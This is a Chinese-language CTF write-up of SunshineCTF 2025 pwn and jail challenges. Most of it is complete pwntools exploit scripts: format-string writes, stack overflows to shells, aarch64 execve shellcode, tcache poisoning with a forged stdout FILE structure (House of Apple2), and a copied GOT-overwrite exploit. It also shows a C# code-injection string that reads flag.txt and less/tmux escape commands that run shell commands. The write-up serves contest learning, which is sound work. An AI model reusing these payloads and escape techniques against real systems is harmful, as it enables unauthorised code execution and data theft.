0x00 前言

跟随SU的脚步,heap依旧是弱点。小众考点更是不用说
alt text

0x01 题解

i95

这个分类应该算baby pwn?

Jupiter

程序逻辑非常简单
alt text然后是测量字符串偏移,这里是5
alt text直接用pwntools自带的fmtstr_payload一把梭

from pwn import *
from ctypes import *
import struct

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/jupiter'
elf=ELF(file)

choice = 0x001
if choice:
port= 25607
sun = 'chal.sunshinectf.games'
p = remote(sun,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

secret_key = 0x000000000404010
payload = fmtstr_payload(5,{secret_key:0x1337C0DE})
sla('Enter data at your own risk: ',payload)

itr()

Miami

依旧是非常简单的逻辑
alt text注意到通过输入v1就可以覆盖掉v3,需要填入0x50-0x4字节垃圾数据

from pwn import *
from ctypes import *
import struct

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/jupiter'
elf=ELF(file)

choice = 0x001
if choice:
port= 25607
sun = 'chal.sunshinectf.games'
p = remote(sun,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

payload = b'a'*(0x50-4)
payload += p32(0x1337C0DE)
sla('Enter Dexter\'s password: ',payload)

itr()

Canaveral

check:

Arch:       amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'$ORIGIN'
SHSTK: Enabled
IBT: Enabled
Stripped: No

上ida简单分析一下
alt text read(0, buf, 0x64uLL);存在溢出点
同时程序中存在后门函数alt text我们的攻击需要分两次来进行,第一次覆盖rbp为bss地址,劫持程序流到vuln的read函数这里,配合vuln结尾的leave即可实现往bss段上写数据的操作,接着我们构造一段[rbp-0x10] = binsh_addr 的结构,然后劫持程序流到win函数的结尾,构造出system("/bin/sh")

from pwn import *
from ctypes import *
import struct

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/i95/canaveral'
elf=ELF(file)

choice = 0x001
if choice:
port= 25603
sun = 'chal.sunshinectf.games'
p = remote(sun,port)
else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

read = 0x000000000401289

payload = b'a'*(0x40) + p64(elf.bss()+0x800) + p64(read)
sla('Enter the launch sequence: ',payload)
binsh_addr = 0x000000000402008
system = 0x000000000401218
payload = b'a'*(0x40 - 0x10) + p64(binsh_addr) + b'a'*8 + p64(elf.bss()+0x800) + p64(system)
# pause()
time.sleep(0.1)
sl(payload)
itr()

Daytona

check:

Arch:       aarch64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

初见aarch64架构,同时注意到没有nx保护,而且我的ida还没法直接反编译,只能硬着头皮看了
alt text这里是打印了一个栈地址。接着就算调用了gets,
简单了解了一下aarch64,看到[原创] CTF 中 ARM & AArch64 架构下的 Pwn 中的这一题
alt text基本跟现在这题是一模一样的,所以这里直接照搬它的shellcode,接着就是测量需要填充多少垃圾数据了。
因为本地没环境,所以临时开始搭建,参考arm_pwn环境搭建及初探 需要安装qemu以及 gdb-multiarch

sudo apt-get install qemu-user
sudo apt-get install qemu-use-binfmt qemu-user-binfmt:i386

sudo apt install gdb-multiarch

因为这个程序是静态编译的,libc环境这些就不说了,接着

qemu-aarch64 -g 77777 ./daytona

启动程序,同时在另一个终端中启动gdb-multiarch

gdb-multiarch ./daytona
pwndbg> target remote localhost:77777

就可以开始调试了,配合pwtools食用

p = process(["qemu-aarch64","-g", "77777", "/mnt/c/Users/Z2023/Desktop/daytona"])

直接用cyclic来测量偏移,按下c发现最后卡在alt text最后8字节,所以我们前面需要填入0x48个字节的垃圾数据,接着填入指向shellcode起始地址,紧接着填入shellcode即可。
这里尝试使用pwnlib.shellcraft.aarch64 — Shellcode for AArch64 的方法来生成shellcode,但是发现会报这样的错误alt text赶时间有点急所以就直接抄了上面看雪那篇文章中的shellcode,使用Online Assembler and Disassembler 来转换成bytes类型
alt text完整EXP:

from pwn import *

context(os = 'linux', arch = 'aarch64', log_level = 'debug')
file='/mnt/c/Users/Z2023/Desktop/daytona'
elf=ELF(file)

choice = 0x001
if choice:
port= 25606
sun = 'chal.sunshinectf.games'
p = remote(sun,port)
# p = remote(nep, port, ssl=True, sni=nep)
else:
# p = process(file)
p = process(["qemu-aarch64","-g", "77777", "/mnt/c/Users/Z2023/Desktop/daytona"])

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
# gdb.attach(p,cmd)
# gdb.attach(p,'b *$rebase(0x00000000000016FB)')


ru('The cops said I was going ')
stack_addr = int(r(12))
leak('stack_addr')

code = [
b"\xc0\x53\x00\x91", # add x0, x30, #20
b"\xe1\x03\x1f\xaa", # mov x1, xzr
b"\xe2\x03\x1f\xaa", # mov x2, xzr
b"\xa8\x1b\x80\xd2", # mov x8, #221
b"\x01\x00\x00\xd4", # svc 0
b"\x2f\x62\x69\x6e\x2f\x73\x68\x00\x00", # .ascii "/bin/sh\\0"
]
raw = b"".join(code)

# print(len(code))

payload = b'a' * 0x48
payload += p64(stack_addr+0xbd + 8)
payload += raw


sla('What do I tell them??\n',payload )
itr()

Jacksonville

程序逻辑比较简单
alt text有gets可以溢出,但需要注意的是要绕过中间这段检测,不然就会直接exit,先是填入6字节垃圾数据,然后填入Jaguars,最后加入0x60 + 8 - 6 - 7 字节的b'\x00'(截断strcmp)。同时程序中有后门函数
alt text
EXP:

from pwn import *

context.arch='amd64'
context.os = 'linux'
context.log_level = 'debug'
file='/mnt/c/Users/Z2023/Desktop/jacksonville'
elf=ELF(file)

choice = 0x001
if choice:
port= 25602
sun = 'chal.sunshinectf.games'
p = remote(sun,port)

else:
p = process(file)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
libc_sym = lambda x :libc_os(libc.sym[x])
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)

payload =b'a'*6 + b'Jaguars'+b'\x00'*(0x68 -6-7) + p64(0x00000000004011FB)
sla('> ',payload)
itr()

pwn

AstroJIT AI

一开始询问是否有API token:

In order to train the AI with dangerous queries, we require an API token.
Attempting to guess a token is not required nor desired to have full use of the software.
Enter API token, or hit enter to use guest mode:

这里先用访客模式看看,进去之后是这样的

Welcome privileged user! I am an AI in-training!
1) Register Weights for Future Training
2) Talk to the AI
3) Train AI on Internal Emails
4) Weight Debugging
5) Exit
Enter an option:

随意尝试了一下,发现选项1允许用户输入,设置ai训练权重,遂尝试格式化字符串,万一他直接printf呢?alt text结果看到报错,把源码都丢脸上了。
紧急学习一下,审问了一下ai,说是c#编译器的报错,这里应该是后面几个选项跟ai交互的代码,可以看到里面读了一个access_token.txt ,既然这样就盲猜一手flag在flag.txt里面,由于是报错才能看到的源码,我就搞了点非法语句(int.Parse()遇到非数字字符串时会报错)

{ int.Parse(System.IO.File.ReadAllText("flag.txt")), 0, 0 }

再回到选项一,输入上面这段内容
alt text果然报错了,而且还附带了flag。也算是运气好了

Space Is Less Than Ideal

连上去之后是这样一个界面alt text发现Access Logs 选项中允许用户输入进行交互(看起来比较像)直接尝试!sh会显示alt text失败了,上网搜索一下less命令逃逸之类的,搜到:【渗透测试】— rbash逃逸方法简述
尝试了一下 |,结果发现回显了|mark: , 翻了一下help(less --help)文档,看到
alt text| <mark> <command>也可以执行命令,同段落的上面可以看到关于mark的设置alt text尝试:

m a
| a (这里直接就显示 ! 了,先来个ls -al看看)
ls -al

alt text 与上面一开始就用!的不同,这里是黑屏,来个sleep 10 来判断一下命令是不是真的执行成功 alt text输入完后我的终端就直接变成这样了,可以看到flag.txt,没有读权限。但是有个cat-flag的程序有执行权限,盲猜是读flag的程序,直接运行一下

| a 
!./cat-flag
| sleep 10

得到flagalt text

Space Is My Banner

开始的时候看到alt text可以查看Tmux config,大概能知道是要Tmux逃逸,但也确实卡了很久。自己尝试过在Turn Spy Pictures On选项里输入一大串垃圾数据尝试栈溢出。但不行,于是我回去上一题Space Is Less Than Ideal看了里面的challenge.sh

while true; do
USER_RESULT=$(whiptail --title "Satellite Control System" \
--menu "Select a control system to access" 20 78 10 \
"Access Logs" "Read logs on the system." \
"Turn Satellite On" "High security change. Requires token to work" \
"Turn Satellite Off" "High security change. Requires token to work" \
"Debug Shell Access" "High security change. Requires token to work" \
"Access Video Logs" "Recommended videos" \
"Debug TTY Info" "Loaded TTY" \
"Exit" "Exit" \
3>&1 1>&2 2>&3)

case "$USER_RESULT" in
"Access Logs")
echo "Displaying system access logs..."
SHELL=/sbin/nologin less -r "-PSystem Access Logs (q to quit)" system_logs.txt
;;
"Turn Satellite On"|"Turn Satellite Off"|"Debug Shell Access")
echo "Checking token status..."
PASSWORD=$(whiptail --passwordbox "Token entry: " 8 78 --title "${USER_RESULT} Token Request" 3>&1 1>&2 2>&3)
whiptail --title "Disabled Feature" --msgbox "This feature is disabled on production environments." 8 78
;;
"Access Video Logs")
echo "Loading video logs..."
whiptail --title "Video Logs" \
--menu "Recommended Videos" 20 78 10 \
"Space Roll" "https://youtu.be/u7xOva-RhSE" \
"Hacking Shells" "https://youtu.be/K7Hn1rPQouU" \
"Hacking Vim" "https://youtu.be/WmvZzkXHOeE"
;;
"Debug TTY Info")
echo "Loading Debug TTY info..."
whiptail --title "Debug TTY Info" \
--msgbox "$(tty)" --scrolltext 16 78
;;
"Exit" | *)
whiptail --title "Exiting" --msgbox "Exiting..." 8 78
exit
;;
esac
done

其中

echo "Checking token status..."
PASSWORD=$(whiptail --passwordbox "Token entry: " 8 78 --title "${USER_RESULT} Token Request" 3>&1 1>&2 2>&3)
whiptail --title "Disabled Feature" --msgbox "This feature is disabled on production environments." 8 78
;;

也就是上一题的token输入界面的逻辑,无论我们输入什么都只是输出”This feature is disabled on production environments.” 猜测在这里应该也是一样,所以就放弃了从这里入手。
接着也尝试过在alt text这个页面尝试各种Tmux的快捷键,但是都没用,能在查看 Configs 的地方看到alt text当前页面 的所有快捷键都禁止了,所以也是没用。
实际上败笔就是在这里,我忘记了在Super Secret Spy Satellite这个页面之前还有一个页面alt text这也是SU大哥的解法,在这里能够使用Tmux快捷键
参考Tmux 使用教程 使用ctrl b能够新建一个Tmux窗口,再输入:
alt text可以看到最顶上一行出现了:,并且变成了黄色,尝试输入一些 Tmux命令

:run-shell "ls -al"

alt text可以看到返回结果,接着就是直接执行cat-flag

:run-shell "cat-flag"

得到flag
alt text

HeapX (已复现)

提供了libc和ld,得知这题是一个2.41-6ubuntu1.2下的堆题。ida看了一下 deletalt text有UAF,允许申请的堆块的大小还挺宽alt text同时程序中还有个奇怪的函数alt text有pie保护感觉不太好利用..
由于对堆这一块的学习不是很深入,只懂一些低版本的打法。但是前阵子做pwn college的IO FILE模块刚好接触到劫持vtable这个手法,顺藤摸瓜稍微接触了一点点 House of apple,所以我就直接往这个方向去做了。参考这个视频house of apple2之_IO_wfile_overflow
前面的泄露libc base和heap base都能理解并且顺利复现,但是到了large bin attack往 _IO_list_all上写堆地址这步就不行了…
alt text 比赛结束后在官方比赛群看到了各路大佬的exp,先搬一个来这里ctf-stuff/Sunshine2025/heapx
/pwntemplate.py


复现版

参考了一下SunshineCTF 2025 writeup by Mini-Venom
发现打印函数这里有问题
alt text如果在未申请任何堆块的情况下,选择write 0,这样存储堆块的数组的地址就会被直接输出,后续我们可以通过UAF,将堆块申请到这里,就能实现任意地址写。这个题甚至用不到apple。首先是高版本tcache的指针异或加密,简单演示一下
alt text这里先是free两个堆块,进入tcache,然后我们看看堆块中的内容

0x6150ce7a06c0  0x0000000000000420      0x0000000000000020       ....... .......
0x6150ce7a06d0 0x00000006150ce7a0 0xb353d55bcab955c0 .........U..[.S. <-- tcachebins[0x20][1/2]

0x6150ce7a0b10 0x0000000000000430 0x0000000000000020 0....... .......
0x6150ce7a0b20 0x00006156db76e170 0xb353d55bcab955c0 p.v.Va...U..[.S. <-- tcachebins[0x20][0/2]

直接讲结论,第二个堆块的next指针是这样加密的:(第一个chunk的fd << 12 >> 12) ^ fd的地址

pwndbg> p/x 0x6150ce7a02b0 ^ 0x00000006150ce7a0
$7 = 0x6156db76e510

所以在伪造fd之前还需要泄露第一个被free的堆块的fd作为key用来加密。然后讲堆块申请到存储堆块的数组上,通过编辑堆块,编辑存储堆块的数组,然后可以在stdout上伪造一个堆块,直接劫持stdout,通过

_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

来劫持程序流
EXP:

from pwn import *

context(arch='amd64', log_level = 'debug',os = 'linux')
file='/mnt/c/Users/Z2023/Desktop/heapx/heapx'
elf=ELF(file)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/mnt/c/Users/Z2023/Desktop/heapx/libc.so.6')
# libc = ELF('/home/l1nk/glibc-all-in-one/libs/2.41-6ubuntu1_amd64/libc.so.6')
# libc1=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

choice = 0x001
if choice:
port= 25004
polar='1.95.36.136'
nss='node4.anna.nssctf.cn'
buu='node5.buuoj.cn'
ns='47.104.154.99'
local = '127.0.0.1'
ns = '8.147.132.32'
sunshine = 'chal.sunshinectf.games'
p = remote(sunshine,port)
# p = remote(nep, port, ssl=True, sni=nep)
else:
p = process(file)
# p = process(["qemu-aarch64","-g", "77777", "/mnt/c/Users/Z2023/Desktop/daytona"])

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os = lambda x :libc_base + x
clear = lambda : os.system('clear')
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def debug(cmd=''):
if choice==1:
return
gdb.attach(p,cmd)


def malloc(size):
sla('> ','new '+ str(size))

def free(index):
sla('> ','delete ' + str(index))

def edit(index,content):
sla('> ','write '+str(index))
time.sleep(0.1)
sl('a')
sla('Enter log data: ',content)

def show(index):
sla('> ','read '+str(index))

def exit():
sla('> ',b'exit')

sla('> ','write '+str(1))
time.sleep(0.1)
sl('aaaa')
ru('#')
heap_arr = int(r(14),16)
leak('heap_arr')

malloc(0x418) # 0
malloc(0x18) # 1
malloc(0x18) # 2
malloc(0x18) # 3


free(0)

show(0)
r(2)
libc_addr = uu64(r(6).ljust(8,b'\x00'))
libc_base = libc_addr - 0x210b20
# print(libc_addr)
leak('libc_base')
libc.address = libc_base

free(1)
show(1)

heap_key = uu64(r(5).ljust(8,b'\x00')) << 12
leak('heap_key')

free(2)

edit(2,p64((heap_key >> 12)^heap_arr))
malloc(0x18) # 4
malloc(0x18) # 5

fake_file_addr = libc.sym['_IO_2_1_stdout_']
system = libc.sym['system']

fake_file = flat({
0x0: b" sh;",
0x8: 0, # fp->_wide_data->_IO_write_base == 0
0x20: 0, # fp->_wide_data->_IO_buf_base == fp->_IO_write_base == 0
0x28: system, # fp->_IO_write_ptr > fp->_IO_write_base
0x88: fake_file_addr+0x100, # _lock can be written, *_lock == 0
0xc0: 0, # mode <= 0
0xa0: fake_file_addr-0x10, # _wide_data
0xD0: fake_file_addr + 0x28 - 0x68, # wide data vtable
0xD8: libc.symbols['_IO_wfile_jumps']-0x20, # vtable
}, filler=b"\x00")

# print(fp)
# print(hex(len(fake_file_addr)))
edit(5,p64(libc.sym['_IO_2_1_stdout_']) + p64(len(fake_file)))
# debug('b *$rebase(0x00000000000016E0)')

edit(1,fake_file)

itr()

把堆块申请到管理堆块的数组上的效果大概就是这样,这里把1号堆块的地址写成stdout了,然后随后的长度也需要改一下。大概就是这样
alt text本来是想试试自己做 pwn college io那时劫持stdout那关造的结构体,但不知道为什么打不通,调试起来有点怪,没了符号表。但感觉打apple也不是不行,感觉好像有点麻烦,程序是从main函数返回的,但返回之前会free掉所有的堆块

puts("\n[INFO] Shutting down HeapX LogUplink...");
for ( i = 0; i <= 15; ++i )
{
if ( *((_QWORD *)&unk_4060 + 2 * i) )
free(*((void **)&unk_4060 + 2 * i));
}
return 0LL;

难免会有free掉堆块之后申请回来的操作,这样管理堆块的数组上肯定有同一个地址,难免会触发double free,或许也可以通过将堆块申请到管理数组这里,全部写成0,然后走apple那条链。

HAL9000 (待复现)

完全没看…周六日都一直在尝试把heapx做出来,但结果就是没做出来,然后剩下两题也没看…周一又塞满实验。实在没辙了。discord暂时没看到有人放wp,之后问下su的大哥吧

Clone Army (待复现)

emmm这个确实也完全没看过,但是看到有人放exp了,也是先搬过来,来自@leo_something

#!/usr/bin/env python3

from pwn import *
import resource

exe = ELF("clone_army_patched")
libc = ELF("libc.so.6")
ld = ELF("ld.so")

context.binary = exe
context.terminal = ["alacritty", "-e"]

NC_CMD = "nc chal.sunshinectf.games 25001 "
gdbscript = \
"""
b *make_clones+232
"""

def set_limits():
data_limit_bytes = 512 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (data_limit_bytes, data_limit_bytes))

def conn():
if args.LOCAL:
r = process([exe.path], preexec_fn=set_limits)
elif args.GDB:
r = gdb.debug([exe.path], gdbscript=gdbscript, aslr=True, preexec_fn=set_limits)
else:
r = remote(NC_CMD.split(" ")[1], int(NC_CMD.split(" ")[2]))

return r

import struct

def i2f(i):
return struct.unpack('>f', struct.pack('>I', i))[0]

def main():
r = conn()

r.sendlineafter(b">", b"yes")

r.sendlineafter(b">", str(i2f(0)/0.3048).encode())
r.sendlineafter(b">", str(i2f(0x403A0)/0.45359999).encode())
r.sendlineafter(b">", str(i2f(0x403A0)*100.0).encode())

r.sendlineafter(b"?", b"yes")

r.sendlineafter(b"?", str(0x403A9).encode())
r.sendlineafter(b"?", b"yes")

overflow = (1<<32)//2 - 1
r.sendlineafter(b"?", str(overflow).encode())
r.sendlineafter(b"?", b"no")

r.sendlineafter(b"?", b"yes\n0")
r.sendlineafter(b"?", b"1")
got_remote_off = 24
if args.LOCAL or args.GDB:
got_remote_off = 8
r.sendlineafter(b"?", str(exe.got.strcmp-got_remote_off).encode())

r.sendlineafter(b"?", b"no")
r.sendlineafter(b"?", b"2")
r.sendlineafter(b"?", str(i2f(0)).encode())

r.sendlineafter(b"?", b"yes")
r.sendlineafter(b"?", b"yes")
r.sendlineafter(b"?", b"0")
# 0xbf5a2ed0
r.recvuntil(b"soldier #")
libc_low_word = int(r.recvuntil(b"'", drop=True)) - libc.sym.fgets
log.info(f"libc leak: {hex(libc_low_word)}")

libc_system = libc_low_word + libc.sym.system

r.sendlineafter(b"?", b"3")
print(hex(libc_system))
r.sendlineafter(b"?", str(i2f(libc_system)/0.45359999).encode())

r.sendlineafter(b"?", b"/bin/sh")

r.interactive()


if __name__ == "__main__":
main()